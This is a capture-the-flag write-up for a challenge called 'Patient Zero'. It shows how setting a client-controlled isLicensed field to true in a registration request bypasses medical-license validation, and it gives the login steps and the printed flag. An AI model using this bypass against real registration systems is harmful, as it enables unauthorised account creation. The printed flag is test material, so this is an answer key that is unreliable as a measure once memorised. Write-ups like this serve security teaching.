Challenge: https://ctf.urisc.club/challenges#Patient%20Zero%20-25
Goal: “You start with no initial access or account. The goal is to register a new user account, but registration requires a valid medical license number.”
Flag:
SRCTF!{s1gn_up_g3t_1n}- on the dashboard page
Vulnerability
POST /register/ takes an isLicensed field which is generated by a separate
endpoint. This field is ultimately client controlled, allowing for registrations
of licenses that are not actual medical licenses.
Attack Path
1. Bypass License Validation by Changing isLicensed field
Making the following POST request creates a new user with medical license MED0012345678 and password test.
POST /register/
isLicensed=true
fullname=Test
license=MED0012345678
password=test
2. Login as the Newly Created User
POST /login/
license=MED0012345678
password=test
3. Get the Flag
GET /dashboard/
The dashboard displays the flag:
Hello, Test
SRCTF!{s1gn_up_g3t_1n}